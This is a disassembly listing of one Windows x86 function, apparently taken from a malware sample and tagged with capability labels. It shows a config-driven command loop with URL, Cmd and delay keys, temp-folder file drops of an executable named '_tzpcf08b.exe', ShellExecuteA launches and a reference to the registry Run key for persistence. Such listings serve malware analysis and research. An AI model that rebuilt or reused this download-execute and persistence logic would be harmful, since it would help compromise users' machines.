Function at 0x405306
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a0
push ebx
push esi
push edi
lea ecx, [ebp - 0xf0]
call fcn.00402cef
lea ecx, [ebp - 0x24c]
call fcn.00403ca2
lea ecx, [ebp - 0x114]
call fcn.00401a8a
lea ecx, [ebp - 0x98]
call fcn.00401a8a
lea ecx, [ebp - 0x74]
call fcn.00401a8a
lea ecx, [ebp - 0xa4]
call fcn.00401a8a
lea ecx, [ebp - 0x1c]
call fcn.00401a8a
lea ecx, [ebp - 0x3c]
call fcn.00401a8a
lea ecx, [ebp - 0x80]
call fcn.00401a8a
lea ecx, [ebp - 0x64]
call fcn.00401a8a
lea ecx, [ebp - 0x8c]
call fcn.00401a8a
lea ecx, [ebp - 0xb0]
call fcn.00401a8a
lea ecx, [ebp - 0xc0]
call fcn.00401a8a
mov esi, 0x41262c
lea edi, [ebp - 0x124]
mov al, byte [ebp - 1]
push 1
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x4c], al
mov al, byte [ebp - 1]
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x30], al
pop eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x20], eax
movsd dword es:[edi], dword [esi]
mov al, byte [ebp - 0x124]
mov esi, 0x105
xor ebx, ebx
mov byte [ebp - 0x3a0], al
push esi
lea eax, [ebp - 0x3a0]
push ebx
push eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x68], 0x270f
call fcn.00406fc0
add esp, 0xc
lea eax, [ebp - 0x3a0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push ebx
call fcn.00407930
push eax
call fcn.00407756
push ecx
lea ecx, [ebp - 0xf0]
mov eax, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0040323c
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049e1
push eax
lea ecx, [ebp - 0xa4]
call fcn.00401de9
lea ecx, [ebp - 0xcc]
call fcn.00401d53
push dword [ebp - 0x44]
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x48]
call fcn.0040631e
push 0x4120c0
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
push 4
xor edi, edi
pop esi
cmp dword [ebp - 0x48], ebx
je 0x405744
mov eax, dword [ebp - 0x44]
push 0xc
sub eax, dword [ebp - 0x48]
pop ecx
cdq
idiv ecx
cmp edi, eax
jae 0x405744
push edi
lea ecx, [ebp - 0x4c]
call fcn.004024de
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401de9
push str.Reg
push esi
lea eax, [ebp - 0xcc]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0xcc]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x40550a
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x58]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x74]
call fcn.00401de9
lea ecx, [ebp - 0x58]
jmp 0x405739
push str.URL
push esi
lea eax, [ebp - 0x16c]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x16c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405568
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x130]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0xa4]
call fcn.00401de9
lea ecx, [ebp - 0x130]
jmp 0x405739
push str.Cmd
push esi
lea eax, [ebp - 0x13c]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x13c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x4055c6
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x160]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x224]
call fcn.00401de9
lea ecx, [ebp - 0x160]
jmp 0x405739
push str.Stg
push esi
lea eax, [ebp - 0x178]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x178]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405624
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x190]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401de9
lea ecx, [ebp - 0x190]
jmp 0x405739
push str.Ver
push esi
lea eax, [ebp - 0x19c]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x19c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405682
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x148]
push esi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407c37
pop ecx
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x148]
jmp 0x405739
push str.DeF
push esi
lea eax, [ebp - 0x154]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x154]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x4056dd
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x184]
push esi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407c37
pop ecx
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x184]
jmp 0x405739
push str.Dly
push esi
lea eax, [ebp - 0x108]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x108]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x40573e
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0xfc]
push esi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407c37
pop ecx
mov dword [ebp - 0xb4], eax
lea ecx, [ebp - 0xfc]
call fcn.00401d53
inc edi
jmp 0x405486
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.0040631e
mov esi, 0x4124d4
lea ecx, [ebp - 0x58]
push esi
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
push ebx
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401de9
push 1
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0xb0]
call fcn.00401de9
push 2
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401de9
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0xf0]
push eax
call fcn.00401de9
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0x1c0]
push eax
call fcn.00401de9
lea eax, [ebp - 0xb0]
lea ecx, [ebp - 0xe4]
push eax
call fcn.00401de9
lea eax, [ebp - 0xb0]
lea ecx, [ebp - 0x1b4]
push eax
call fcn.00401de9
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0xd8]
push eax
call fcn.00401de9
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0x1a8]
push eax
call fcn.00401de9
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.0040631e
push esi
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0x224]
cmp dword [ebp - 0x2c], ebx
je 0x405894
mov eax, dword [ebp - 0x28]
push 0xc
sub eax, dword [ebp - 0x2c]
pop ecx
cdq
idiv ecx
cmp dword [ebp - 0x10], eax
jae 0x405894
push dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
mov ecx, edi
call fcn.00401de9
inc dword [ebp - 0x10]
add edi, 0xc
jmp 0x405863
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.0040631e
push esi
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
mov edi, 0x413340
lea ecx, [ebp - 0x74]
push edi
call fcn.00401d74
push edi
lea ecx, [ebp - 0x98]
call fcn.00401d74
xor esi, esi
cmp dword [ebp - 0x2c], ebx
je 0x40595e
mov eax, dword [ebp - 0x28]
push 0xc
sub eax, dword [ebp - 0x2c]
pop ecx
cdq
idiv ecx
cmp esi, eax
jae 0x40595e
lea eax, [ebp - 0xfc]
push 0x4124d4
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.004024de
mov ecx, eax
call fcn.00401fbd
push eax
lea ecx, [ebp - 0x98]
call fcn.00401e50
lea ecx, [ebp - 0xfc]
call fcn.00401d53
lea eax, [ebp - 0x108]
push 0x4124d4
push eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x30]
call fcn.004024de
mov ecx, eax
call fcn.00401fbd
push eax
lea ecx, [ebp - 0x74]
call fcn.00401e50
lea ecx, [ebp - 0x108]
call fcn.00401d53
inc esi
inc esi
jmp 0x4058df
mov eax, dword [ebp - 0x94]
push 1
dec eax
lea ecx, [ebp - 0x98]
push eax
call fcn.00402253
mov eax, dword [ebp - 0x70]
push 1
dec eax
lea ecx, [ebp - 0x74]
push eax
call fcn.00402253
sub esp, 0xc
lea eax, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x74]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0xf0]
call fcn.004033ec
dec eax
je 0x4061f7
dec eax
jne 0x40627a
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x3c
cmp eax, ebx
jle 0x4059da
mov esi, eax
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
dec esi
jne 0x4059cc
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jg 0x4059f1
lea ecx, [ebp - 0x24c]
call fcn.00404a7d
test al, al
jne 0x405a06
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 0x20], ebx
jle 0x4059e2
dec dword [ebp - 0x20]
jmp 0x4059dd
mov eax, dword [ebp - 0xb4]
push dword [ebp - 0x44]
imul eax, eax, 0x3c
push dword [ebp - 0x48]
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x20], eax
call fcn.0040631e
push 0x4124d4
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
sub esp, 0x10
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00403a07
lea eax, [ebp - 0x298]
lea ecx, [ebp - 0xf0]
push eax
call fcn.004038e4
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403aa8
lea ecx, [ebp - 0x298]
call fcn.00403a75
mov byte [ebp - 9], bl
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x48], ebx
je 0x4059dd
mov eax, dword [ebp - 0x44]
push 0xc
sub eax, dword [ebp - 0x48]
pop ecx
cdq
idiv ecx
cmp dword [ebp - 0x10], eax
jae 0x4059dd
cmp byte [ebp - 9], bl
jne 0x4059dd
push ebx
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x68]
push dword [ebp - 0x10]
call fcn.004024de
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0x24c]
call fcn.00404ee6
test al, al
je 0x406137
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0xfc]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049e1
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0xfc]
call fcn.00401d53
push edi
lea ecx, [ebp - 0x80]
call fcn.004020d2
test al, al
je 0x406137
sub esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x108]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00403df2
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401de9
lea ecx, [ebp - 0x108]
call fcn.00401d53
sub esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x184]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00404637
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0x184]
call fcn.00401d53
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0x24c]
call fcn.00403fea
dec eax
je 0x4061e7
dec eax
je 0x405fa3
dec eax
je 0x405f09
dec eax
je 0x405dda
dec eax
je 0x405d19
dec eax
je 0x405c85
dec eax
jne 0x405b16
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x154]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x154]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b16
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047e8
sub esp, 0xc
lea eax, [ebp - 0xc0]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x8c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0xf0]
call fcn.00403149
jmp 0x40612e
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x148]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x148]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b16
push 1
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x19c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
push dword [eax + 8]
call fcn.00407c37
pop ecx
mov esi, eax
lea ecx, [ebp - 0x19c]
imul esi, esi, 0x3c
call fcn.00401d53
imul esi, esi, 0x3e8
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40612e
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x190]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b16
push ebx
lea eax, [ebp - 0x3c]
push dword [ebp - 0x68]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047e8
lea ecx, [ebp - 0x24c]
call fcn.00404ee6
test al, al
je 0x405b16
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x178]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049e1
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0x178]
call fcn.00401d53
jmp 0x40612e
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x13c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
test al, al
je 0x405e4f
push edi
push 2
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x160]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x160]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
mov byte [ebp - 1], 1
jne 0x405e52
mov byte [ebp - 1], bl
lea ecx, [ebp - 0x13c]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b16
push dword [ebp - 0x68]
lea ecx, [ebp - 0xcc]
call fcn.00401b9c
lea eax, [ebp - 0xcc]
push eax
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x130]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.00402124
lea ecx, [ebp - 0x130]
mov byte [ebp - 1], al
call fcn.00401d53
lea ecx, [ebp - 0xcc]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b16
push ebx
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 2
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047e8
lea ecx, [ebp - 0x24c]
call fcn.0040512b
test al, al
jne 0x40613f
jmp 0x405b16
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x16c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x16c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b16
lea eax, [ebp - 0x3a0]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push 1
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
push eax
lea ecx, [ebp - 0x64]
call fcn.00401e50
lea ecx, [ebp - 0x264]
call fcn.00401d53
push dword [ebp - 0x5c]
call fcn.00407b82
pop ecx
jmp 0x40612e
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x270]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
test al, al
je 0x406018
push edi
push 2
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x27c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x27c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
mov byte [ebp - 1], 1
jne 0x40601b
mov byte [ebp - 1], bl
lea ecx, [ebp - 0x270]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b16
push ebx
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047e8
lea ecx, [ebp - 0x24c]
call fcn.0040512b
test al, al
je 0x405b16
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x258]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049e1
push eax
lea ecx, [ebp - 0x230]
call fcn.00401de9
lea ecx, [ebp - 0x258]
call fcn.00401d53
lea eax, [ebp - 0x3a0]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push 2
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x288]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047e8
push eax
lea ecx, [ebp - 0x64]
call fcn.00401e50
lea ecx, [ebp - 0x288]
call fcn.00401d53
push 0x41245c
push dword [ebp - 0x5c]
call fcn.00407743
mov esi, eax
push esi
push dword [ebp - 0x22c]
push 1
push dword [ebp - 0x228]
call fcn.00407619
push esi
call fcn.004075c3
add esp, 0x1c
push 5
push ebx
push ebx
push dword [ebp - 0x5c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 9], 1
jmp 0x405b16
inc dword [ebp - 0x10]
jmp 0x405a85
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049e1
push eax
lea ecx, [ebp - 0x230]
call fcn.00401de9
lea ecx, [ebp - 0x120]
call fcn.00401d53
lea eax, [ebp - 0x3a0]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push str._tzpcf08b.exe
lea ecx, [ebp - 0x64]
call fcn.00401e8c
push 0x41245c
push dword [ebp - 0x5c]
call fcn.00407743
mov esi, eax
push esi
push dword [ebp - 0x22c]
push 1
push dword [ebp - 0x228]
call fcn.00407619
push esi
call fcn.004075c3
add esp, 0x1c
lea ecx, [ebp - 0xf0]
call fcn.0040330e
push 5
push ebx
push ebx
push dword [ebp - 0x5c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40627a
lea ecx, [ebp - 0xf0]
call fcn.0040330e
jmp 0x40627a
push 5
push ebx
push ebx
lea eax, [ebp - 0xb0]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x8c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0xf0]
call fcn.00403061
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.00401c0f
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0xf0]
push eax
call fcn.00403061
mov ecx, eax
call fcn.00406374
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x120]
call fcn.00401d53
lea ecx, [ebp - 0xf0]
call fcn.00402d70
lea ecx, [ebp - 0x30]
call fcn.00403a75
lea ecx, [ebp - 0x4c]
call fcn.00403a75
lea ecx, [ebp - 0xc0]
call fcn.00401d53
lea ecx, [ebp - 0xb0]
call fcn.00401d53
lea ecx, [ebp - 0x8c]
call fcn.00401d53
lea ecx, [ebp - 0x64]
call fcn.00401d53
lea ecx, [ebp - 0x80]
call fcn.00401d53
lea ecx, [ebp - 0x3c]
call fcn.00401d53
lea ecx, [ebp - 0x1c]
call fcn.00401d53
lea ecx, [ebp - 0xa4]
call fcn.00401d53
lea ecx, [ebp - 0x74]
call fcn.00401d53
lea ecx, [ebp - 0x98]
call fcn.00401d53
lea ecx, [ebp - 0x114]
call fcn.00401d53
lea ecx, [ebp - 0x24c]
call fcn.00403d35
lea ecx, [ebp - 0xf0]
call fcn.00402d2c
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10